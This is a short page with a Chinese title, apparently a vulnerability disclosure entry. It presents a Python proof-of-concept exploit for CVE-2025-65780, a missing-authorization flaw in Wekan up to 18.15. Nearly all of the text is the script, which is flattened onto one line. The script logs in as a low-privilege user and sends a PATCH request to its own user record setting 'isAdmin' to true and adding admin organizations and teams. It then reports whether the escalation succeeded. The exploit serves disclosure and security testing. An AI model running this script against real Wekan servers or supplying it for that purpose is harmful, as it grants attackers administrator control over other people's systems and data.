CVE-2025-65780 Wekan授权检查缺失导致权限提升漏洞

# CVE-2025-65780 PoC - Wekan Privilege Escalation via Missing Authorization # Affected: Wekan <= 18.15 # This PoC demonstrates how an authenticated low-privilege user can escalate privileges import requests import json TARGET_URL = "https://your-wekan-instance.com" ATTACKER_USERNAME = "[email protected]" ATTACKER_PASSWORD = "password123" def get_auth_token(): """Authenticate and obtain session token""" login_url = f"{TARGET_URL}/api/v1/login" payload = { "user": {"username": ATTACKER_USERNAME}, "password": ATTACKER_PASSWORD } response = requests.post(login_url, json=payload) if response.status_code == 200: data = response.json() return data.get("token"), data.get("userId") return None, None def escalate_privilege(token, user_id): """Exploit missing authorization to modify privileged fields""" update_url = f"{TARGET_URL}/api/v1/users/{user_id}" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload - updating privileged fields beyond profile malicious_payload = { "profile": { "invalid2": "test" }, "orgs": ["admin-org"], # Privilege escalation: join admin organization "teams": ["admin-team"], # Access unauthorized teams "loginDisabled": False, # Prevent account lockout "isAdmin": True # Attempt to gain admin privileges } response = requests.patch(update_url, headers=headers, json=malicious_payload) return response.status_code, response.text def main(): print("[*] CVE-2025-65780 Wekan Privilege Escalation PoC") token, user_id = get_auth_token() if not token: print("[-] Authentication failed") return print(f"[+] Authenticated as user: {user_id}") status, response = escalate_privilege(token, user_id) if status == 200: print("[+] Privilege escalation successful!") print(f"[+] Response: {response}") else: print(f"[-] Exploit failed with status {status}") if __name__ == "__main__": main()